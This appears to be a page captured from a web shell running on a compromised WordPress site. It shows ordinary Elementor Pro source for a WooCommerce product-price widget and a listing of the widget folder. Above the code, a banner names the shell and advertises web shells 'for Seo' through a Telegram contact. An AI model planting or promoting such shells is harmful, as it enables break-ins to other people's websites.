__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace ElementorPro\Modules\Woocommerce\Widgets;
use Elementor\Controls_Manager;
use Elementor\Core\Kits\Documents\Tabs\Global_Colors;
use Elementor\Core\Kits\Documents\Tabs\Global_Typography;
use Elementor\Group_Control_Typography;
use ElementorPro\Plugin;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly
}
class Product_Price extends Base_Widget {
public function get_name() {
return 'woocommerce-product-price';
}
public function get_title() {
return esc_html__( 'Product Price', 'elementor-pro' );
}
public function get_icon() {
return 'eicon-product-price';
}
public function get_keywords() {
return [ 'woocommerce', 'shop', 'store', 'price', 'product', 'sale' ];
}
public function has_widget_inner_wrapper(): bool {
return ! Plugin::elementor()->experiments->is_feature_active( 'e_optimized_markup' );
}
/**
* Get style dependencies.
*
* Retrieve the list of style dependencies the widget requires.
*
* @since 3.24.0
* @access public
*
* @return array Widget style dependencies.
*/
public function get_style_depends(): array {
return [ 'widget-woocommerce-product-price' ];
}
protected function register_controls() {
$this->start_controls_section(
'section_price_style',
[
'label' => esc_html__( 'Price', 'elementor-pro' ),
'tab' => Controls_Manager::TAB_STYLE,
]
);
$this->add_control(
'wc_style_warning',
[
'type' => Controls_Manager::ALERT,
'alert_type' => 'info',
'content' => esc_html__( 'The style of this widget is often affected by your theme and plugins. If you experience any such issue, try to switch to a basic theme and deactivate related plugins.', 'elementor-pro' ),
]
);
$this->add_responsive_control(
'text_align',
[
'label' => esc_html__( 'Alignment', 'elementor-pro' ),
'type' => Controls_Manager::CHOOSE,
'options' => [
'start' => [
'title' => esc_html__( 'Start', 'elementor-pro' ),
'icon' => 'eicon-text-align-left',
],
'center' => [
'title' => esc_html__( 'Center', 'elementor-pro' ),
'icon' => 'eicon-text-align-center',
],
'end' => [
'title' => esc_html__( 'End', 'elementor-pro' ),
'icon' => 'eicon-text-align-right',
],
],
'classes' => 'elementor-control-start-end',
'selectors_dictionary' => [
'left' => is_rtl() ? 'end' : 'start',
'right' => is_rtl() ? 'start' : 'end',
],
'selectors' => [
'{{WRAPPER}}' => 'text-align: {{VALUE}}',
],
]
);
$this->add_control(
'price_color',
[
'label' => esc_html__( 'Color', 'elementor-pro' ),
'type' => Controls_Manager::COLOR,
'global' => [
'default' => Global_Colors::COLOR_PRIMARY,
],
'selectors' => [
'.woocommerce {{WRAPPER}} .price' => 'color: {{VALUE}}',
],
]
);
$this->add_group_control(
Group_Control_Typography::get_type(),
[
'name' => 'typography',
'global' => [
'default' => Global_Typography::TYPOGRAPHY_PRIMARY,
],
'selector' => '.woocommerce {{WRAPPER}} .price',
]
);
$this->add_control(
'sale_heading',
[
'label' => esc_html__( 'Sale Price', 'elementor-pro' ),
'type' => Controls_Manager::HEADING,
'separator' => 'before',
]
);
$this->add_control(
'sale_price_color',
[
'label' => esc_html__( 'Color', 'elementor-pro' ),
'type' => Controls_Manager::COLOR,
'selectors' => [
'.woocommerce {{WRAPPER}} .price ins' => 'color: {{VALUE}};',
],
]
);
$this->add_group_control(
Group_Control_Typography::get_type(),
[
'name' => 'sale_price_typography',
'selector' => '.woocommerce {{WRAPPER}} .price ins',
]
);
$this->add_control(
'price_block',
[
'label' => esc_html__( 'Stacked', 'elementor-pro' ),
'type' => Controls_Manager::SWITCHER,
'return_value' => 'yes',
'prefix_class' => 'elementor-product-price-block-',
]
);
$this->add_responsive_control(
'sale_price_spacing',
[
'label' => esc_html__( 'Spacing', 'elementor-pro' ),
'type' => Controls_Manager::SLIDER,
'size_units' => [ 'px', 'em', 'rem', 'custom' ],
'range' => [
'px' => [
'max' => 100,
],
'em' => [
'max' => 10,
],
'rem' => [
'max' => 10,
],
],
'selectors' => [
'body:not(.rtl) {{WRAPPER}}:not(.elementor-product-price-block-yes) del' => 'margin-right: {{SIZE}}{{UNIT}}',
'body.rtl {{WRAPPER}}:not(.elementor-product-price-block-yes) del' => 'margin-left: {{SIZE}}{{UNIT}}',
'{{WRAPPER}}.elementor-product-price-block-yes del' => 'margin-bottom: {{SIZE}}{{UNIT}}',
],
]
);
$this->end_controls_section();
}
protected function render() {
global $product;
$product = $this->get_product();
if ( ! $product ) {
return;
}
wc_get_template( '/single-product/price.php' );
}
public function render_plain_content() {}
public function get_group_name() {
return 'woocommerce';
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| add-to-cart.php | File | 8.32 KB | 0664 |
|
| archive-description.php | File | 3.02 KB | 0664 |
|
| archive-products-deprecated.php | File | 3.61 KB | 0664 |
|
| archive-products.php | File | 4.57 KB | 0664 |
|
| base-widget.php | File | 4.37 KB | 0664 |
|
| breadcrumb.php | File | 3.11 KB | 0664 |
|
| cart.php | File | 72.49 KB | 0664 |
|
| categories.php | File | 10.56 KB | 0664 |
|
| category-image.php | File | 1.36 KB | 0664 |
|
| checkout.php | File | 120.99 KB | 0664 |
|
| elements.php | File | 3.92 KB | 0664 |
|
| menu-cart.php | File | 58.3 KB | 0664 |
|
| my-account.php | File | 67.54 KB | 0664 |
|
| notices.php | File | 3.52 KB | 0664 |
|
| product-add-to-cart.php | File | 21.17 KB | 0664 |
|
| product-additional-information.php | File | 2.88 KB | 0664 |
|
| product-content.php | File | 804 B | 0664 |
|
| product-data-tabs.php | File | 7.99 KB | 0664 |
|
| product-images.php | File | 6.15 KB | 0664 |
|
| product-meta.php | File | 13.31 KB | 0664 |
|
| product-price.php | File | 4.89 KB | 0664 |
|
| product-rating.php | File | 4.78 KB | 0664 |
|
| product-related.php | File | 7.29 KB | 0664 |
|
| product-short-description.php | File | 3.08 KB | 0664 |
|
| product-stock.php | File | 2.12 KB | 0664 |
|
| product-title.php | File | 2 KB | 0664 |
|
| product-upsell.php | File | 6.45 KB | 0664 |
|
| products-base.php | File | 28.36 KB | 0664 |
|
| products-deprecated.php | File | 6.97 KB | 0664 |
|
| products.php | File | 10.17 KB | 0664 |
|
| purchase-summary.php | File | 42.61 KB | 0664 |
|
| single-elements.php | File | 4.12 KB | 0664 |
|